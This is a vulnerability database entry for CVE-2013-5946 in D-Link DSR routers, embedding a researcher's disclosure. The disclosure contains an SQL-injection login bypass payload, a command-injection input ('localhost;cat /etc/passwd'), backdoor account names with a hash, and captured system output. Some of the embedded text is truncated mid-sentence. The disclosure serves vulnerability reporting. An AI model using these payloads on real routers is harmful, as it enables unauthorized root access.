ID

VAR-201312-0198

CVE

CVE-2013-5946

TITLE

plural D-Link Vulnerability to execute arbitrary commands in firmware of router products

DESCRIPTION

The runShellCmd function in systemCheck.htm in D-Link DSR-150 with firmware before 1.08B44; DSR-150N with firmware before 1.05B64; DSR-250 and DSR-250N with firmware before 1.08B44; and DSR-500, DSR-500N, DSR-1000, and DSR-1000N with firmware before 1.08B77 allows remote attackers to execute arbitrary commands via shell metacharacters in the (1) "Ping or Trace an IP Address" or (2) "Perform a DNS Lookup" section. D-Link DSR is a wireless service router product. There is a remote arbitrary command execution vulnerability in the implementation of the D-Link DSR router family. Successful use can allow an attacker to execute arbitrary commands with root privileges. The following products and versions are affected: DSR-150 with firmware version 1.08B29 and earlier; DSR-150N with firmware version 1.05B51 and earlier; DSR-250 and DSR-250N with firmware version 1.08B39 and earlier; DSR-500, DSR-500N, DSR-1000, DSR-1000N with previous firmware versions. # # CVEs: # CVE-2013-5945 - Authentication Bypass by SQL-Injection # CVE-2013-5946 - Privilege Escalation by Arbitrary Command Execution # # Vulnerable Routers: # D-Link DSR-150 (Firmware < v1.08B44) # D-Link DSR-150N (Firmware < v1.05B64) # D-Link DSR-250 and DSR-250N (Firmware < v1.08B44) # D-Link DSR-500 and DSR-500N (Firmware < v1.08B77) # D-Link DSR-1000 and DSR-1000N (Firmware < v1.08B77) # # Download URL: # http://tsd.dlink.com.tw # # Arch: # mips and armv6l, Linux # # Author: # 0_o -- null_null # nu11.nu11 [at] yahoo.com # # Date: # 2013-08-18 # # Purpose: # Get a non-persistent root shell on your D-Link DSR. # # Prerequisites: # Network access to the router ports 443 and 23. # !!! NO AUTHENTICATION CREDENTIALS REQUIRED !!! # # # A list of identified vulns follows. This list is not exhaustive as I assume # more vulns are present that just slipped my attention. # The fact that D-Link implemented a backdoor user (for what reason, please??) # and just renamed it instead of completely removing it after it was targetted # by my previous exploit, as well as the triviality of those vulns I found # makes me suggest that more vulns are present that are comparably easy to # exploit. # # Since 2013-12-03, patches are available for: # DSR-150: Firmware v1.08B44 # DSR-150N: Firmware v1.05B64 # DSR-250 and DSR-250N: Firmware v1.08B44 # DSR-500 and DSR-500N: Firmware v1.08B77 # DSR-1000 and DSR-1000N: Firmware v1.08B77 # via http://tsd.dlink.com.tw # # And now, have a worthwhile read :-) # 0. Contents: 1. Vulnerability: Authentication Bypass by SQL-Injection (CVE-2013-5945) 2. Exposure: D-Link backdoor user 4. Vulnerability: Use of weak hash algorithms 5. Exposure: Passwords are stored as plain text in config files 6. Vulnerability: Bad permissions on /etc/shadow 1. Vulnerability: Authentication Bypass by SQL-Injection (CVE-2013-5945) * Possible via the global webUI login form. * File /pfrm2.0/share/lua/5.1/teamf1lualib/login.lua contains: function login.authenticate(tablename, tableInput) local username = tableInput["Users.UserName"] local password = tableInput["Users.Password"] local cur = db.execute(string.format([[ SELECT *, ROWID AS _ROWID_ FROM %s WHERE %s = '%s' AND %s = '%s' ]], tablename, "UserName", username, "Password", password)) local result = false local statusCode = "NONE" if cur then local row = cur:fetch({}, "a") cur:close() result = row ~= nil if result == false then statusCode = "USER_LOGIN_INVALID_PASSWORD" end end return result, statusCode end * This function creates an SQL statement of the form: SELECT * FROM "Users" WHERE "UserName" = 'user' AND "Password" = 'pass'; * Since there is a default admin user account called "admin" around, this is easily exploitable by providing this to the login form: username = admin password = ' or 'a'='a * ...resulting in this SQL statement: SELECT * FROM "Users" WHERE "UserName" = 'admin' AND "Password" = '' or 'a'='a'; * Old school SQL injection. Ohh, by the way... * The same fault can be found in captivePortal.lua -- FREE NETWORKS FOR EVERYONE -- 2. * File /pfrm2.0/var/www/systemCheck.htm contains: local function runShellCmd(command) local pipe = io.popen(command .. " 2>&1") -- redirect stderr to stdout local cmdOutput = pipe:read("*a") pipe:close() return cmdOutput end if (ButtonType and ButtonType == "ping") then [...] local cmd_ping = pingprog .. " " .. ipToPing .. " " .. options1 .. " > " .. pingfile globalCmdOutput = runShellCmd (cmd_ping) statusMessage = "Pinging " .. ipToPing [...] elseif (ButtonType and ButtonType == "traceroute") then [...] local cmd = traceRouteProg .. " " .. ipToTraceRoute .. options globalCmdOutput = runShellCmd(cmd) statusMessage = "Traceroute To " .. ipToTraceRoute .. "..." [...] elseif (ButtonType and ButtonType == "dnslookup") then [...] util.appendDebugOut("Exec = " .. os.execute(nsLookupProg .. " " .. internetNameToNsLookup .. " > " .. nsLookupFile)) statusMessage = "DNS Lookup for " .. Tools like curl are not hindered by these checks. * All forms allow input like this: localhost;<command> example: localhost;cat /etc/passwd * This user provided value is then directly used as part of the input for the call to runShellCmd(c) and thus io.popen(c) in the first form section and os.execute(c) in the second form section. * Output from user provided commands gets displayed on the next page beneath the benign command output. example: [...] <textarea rows="15" name="S1" cols="60" wrap="off" class="txtbox1"> traceroute to localhost (127.0.0.1), 10 hops max, 40 byte packets 1 localhost (127.0.0.1) 0.429 ms 0.255 ms 0.224 ms root:!:0:0:root:/root:/bin/sh gkJ9232xXyruTRmY:$1$MqlhcYXP$CC3cvqpCg0RJAzV85LSeO0:0:0:root:/:/bin/sh nobody:x:0:0:nobody:/nonexistent:/bin/false ZX4q9Q9JUpwTZuo7:x:0:2:Linux User,,,:/home/ZX4q9Q9JUpwTZuo7:/bin/sh guest:x:0:1001:Linux User,,,:/home/guest:/bin/sh admin:x:0:2:Linux User,,,:/home/admin:/bin/sh &lt;/textarea&gt; [...] 3. Exposure: D-Link backdoor user: * This was the contents of my /etc/passwd after I upgraded to 1.08B39_WW: root:!:0:0:root:/root:/bin/sh gkJ9232xXyruTRmY:$1$MqlhcYXP$CC3cvqpCg0RJAzV85LSeO0:0:0:root:/:/bin/sh nobody:x:0:0:nobody:/nonexistent:/bin/false ZX4q9Q9JUpwTZuo7:x:0:2:Linux User,,,:/home/ZX4q9Q9JUpwTZuo7:/bin/sh guest:x:0:1001:Linux User,,,:/home/guest:/bin/sh admin:x:0:2:Linux User,,,:/home/admin:/bin/sh * You can see the old D-Link backdoor user name "ZX4q9Q9JUpwTZuo7". That was the account I hacked before with my previous exploit: http://www.exploit-db.com/papers/22930/ And there is a new backdoor user "gkJ9232xXyruTRmY" introduced. Instead of removing the backdoor, D-Link just created a new one. * I verified this by showing the /etc/profile: # /etc/profile LD_LIBRARY_PATH=.:/pfrm2.0/lib:/lib PATH=.:/pfrm2.0/bin:$PATH CLISH_PATH=/etc/clish export PATH LD_LIBRARY_PATH CLISH_PATH # redirect all users except root to CLI if [ "$USER" != "gkJ9232xXyruTRmY" ] ; then trap "/bin/login" SIGINT trap "" SIGTSTP /pfrm2.0/bin/cli exit fi PS1='DSR-250N> ' 4. Vulnerability: Use of weak hash algorithms: * In the /etc/shadow, salted DES hashes are used to store user passwords. Since this hash type supports at most 8 characters, users can log in by just typing the first 8 letters of their passwords when using SSH or telnet. * An effective password length limitation of 8 characters makes brute force attacks on user accounts very feasible, even if the user chose a longer password. 5. Exposure: Passwords are stored as plain text in config files: * A lookup into the system config file /tmp/teamf1.cfg.ascii, from which the /tmp/system.db is built on boot time, reveals that all user passwords are stored in plain text. Example: [...] Users = {} Users[1] = {} Users[1]["Capabilities"] = "" Users[1]["DefaultUser"] = "1" Users[1]["UserId"] = "1" Users[1]["FirstName"] = "backdoor" Users[1]["OID"] = "0" Users[1]["GroupId"] = "1" Users[1]["UserName"] = "gkJ9232xXyruTRmY" Users[1]["Password"] = "thisobviouslyisafakepass" Users[1]["UserTimeOut"] = "10" Users[1]["_ROWID_"] = "1" Users[1]["LastName"] = "ssl" [...] 6. Vulnerability: Bad permissions on /etc/shadow * This file should have 600 permissions set and not 644. It is world readable. Pointless, since every process runs as root, no user separation is done anyway. DSR-250N> ls -l -a /etc/shadow -rw-r--r-- 1 root root 115 Sep 27 15:07 /etc/shadow DSR-250N> ps PID USER VSZ STAT COMMAND 1 root 2700 S init 2 root 0 SW< [kthreadd] 3 root 0 SW< [ksoftirqd/0] 4 root 0 SW< [events/0] 5 root 0 SW< [khelper] 8 root 0 SW< [async/mgr] 111 root 0 SW< [kblockd/0] 120 root 0 SW< [khubd] 123 root 0 SW< [kseriod] 128 root 0 SW< [kslowd] 129 root 0 SW< [kslowd] 150 root 0 SW [pdflush] 151 root 0 SW [pdflush] 152 root 0 SW< [kswapd0] 200 root 0 SW< [aio/0] 210 root 0 SW< [nfsiod] 220 root 0 SW< [crypto/0] 230 root 0 SW< [cns3xxx_spi.0] 781 root 0 SW< [mtdblockd] 860 root 0 SW< [usbhid_resumer] 874 root 0 SW< [rpciod/0] 903 root 0 SWN [jffs2_gcd_mtd4] 909 root 0 SWN [jffs2_gcd_mtd5] 918 root 3596 S unionfs -s -o cow,nonempty,allow_other /rw_pfrm2.0=R 999 root 1816 S < /pfrm2.0/udev/sbin/udevd --daemon 1002 root 2988 S /pfrm2.0/bin/platformd /tmp/system.db 1003 root 3120 S /pfrm2.0/bin/evtDsptchd /tmp/system.db 1049 root 2704 S /usr/sbin/telnetd -l /bin/login 1097 root 4560 S /pfrm2.0/bin/wlanClientArlFlushd 1141 root 37000 S /pfrm2.0/bin/sshd 1154 root 3068 S /pfrm2.0/bin/linkStatusDetect /tmp/system.db WAN1 5 1255 root 3148 S /pfrm2.0/bin/nimfd /tmp/system.db 1259 root 3068 S /pfrm2.0/bin/linkStatusDetect /tmp/system.db WAN2 5 1375 root 3588 S /pfrm2.0/bin/firewalld /tmp/system.db 1560 root 0 SW< [key_timehandler] 1598 root 7776 S /pfrm2.0/bin/racoon -a 8787 -f /var/racoon_path.conf 1600 root 8036 S rvgd /tmp/system.db 1612 root 0 SW [cavium] 1621 root 8424 S vpnKAd /tmp/system.db 1685 root 5372 S /pfrm2.0/sslvpn/bin/firebase -d 1702 root 5016 S /pfrm2.0/sslvpn/bin/smm -d 1711 root 6052 S /pfrm2.0/sslvpn/bin/httpd 1712 root 2700 S /bin/sh /var/sslvpn/var/httpdKeepAlive.sh 1771 root 2680 S /pfrm2.0/bin/statusD 1933 root 3092 S /pfrm2.0/bin/loggingd /tmp/system.db 1960 root 5284 S /pfrm2.0/bin/radEap -d /tmp/system.db 1962 root 2988 S /pfrm2.0/bin/rebootd /tmp/system.db 2004 root 2988 S /pfrm2.0/bin/crond /tmp/system.db 2008 root 3260 S /pfrm2.0/bin/ntpd /tmp/system.db 2196 root 3128 S /pfrm2.0/bin/intelAmtd /tmp/system.db 2205 root 1904 S /pfrm2.0/bin/fReset 2311 root 2704 S /bin/sh /pfrm2.0/bin/release_cache.sh 2312 root 2704 S /sbin/getty -L ttyS0 115200 vt100 2463 root 3964 S /pfrm2.0/bin/dhcpd -cf /etc/dhcpd.conf.bdg30 -lf /va 2481 root 3964 S /pfrm2.0/bin/dhcpd -cf /etc/dhcpd.conf.bdg50 -lf /va 3355 root 1768 S /pfrm2.0/bin/rt2860apd 3443 root 4116 S /pfrm2.0/bin/dhcpd -cf /etc/dhcpd.conf.bdg40 -lf /va 3451 root 4116 S /pfrm2.0/bin/dhcpd -cf /etc/dhcpd.conf.bdg20 -lf /va 3457 root 3964 S /pfrm2.0/bin/dhcpd -cf /etc/dhcpd.conf.bdg1 -lf /var 3484 root 7836 S /pfrm2.0/bin/snmpd -p /var/run/snmp.pid 3518 root 4424 S /pfrm2.0/bin/openvpn --config /var/openvpn/openvpn.c 3630 root 1928 S /pfrm2.0/bin/dnsmasq --dns-forward-max=10000 --addn- 5353 root 2704 S -sh 7877 root 2568 S sleep 60 7953 root 2568 S sleep 60 8008 root 2704 R ps 16749 root 2704 S -sh 25690 root 0 SW< [RtmpCmdQTask] 25692 root 0 SW< [RtmpWscTask] DSR-250N>

IOT TAXONOMY

AFFECTED PRODUCTS

CVSS

PROBLEMTYPE DATA

THREAT TYPE

remote

TYPE

operating system commend injection

CONFIGURATIONS

PATCH

EXTERNAL IDS

REFERENCES

CREDITS

nu11.nu11

SOURCES

LAST UPDATE DATE

2025-04-11T23:03:51.833000+00:00

SOURCES UPDATE DATE

SOURCES RELEASE DATE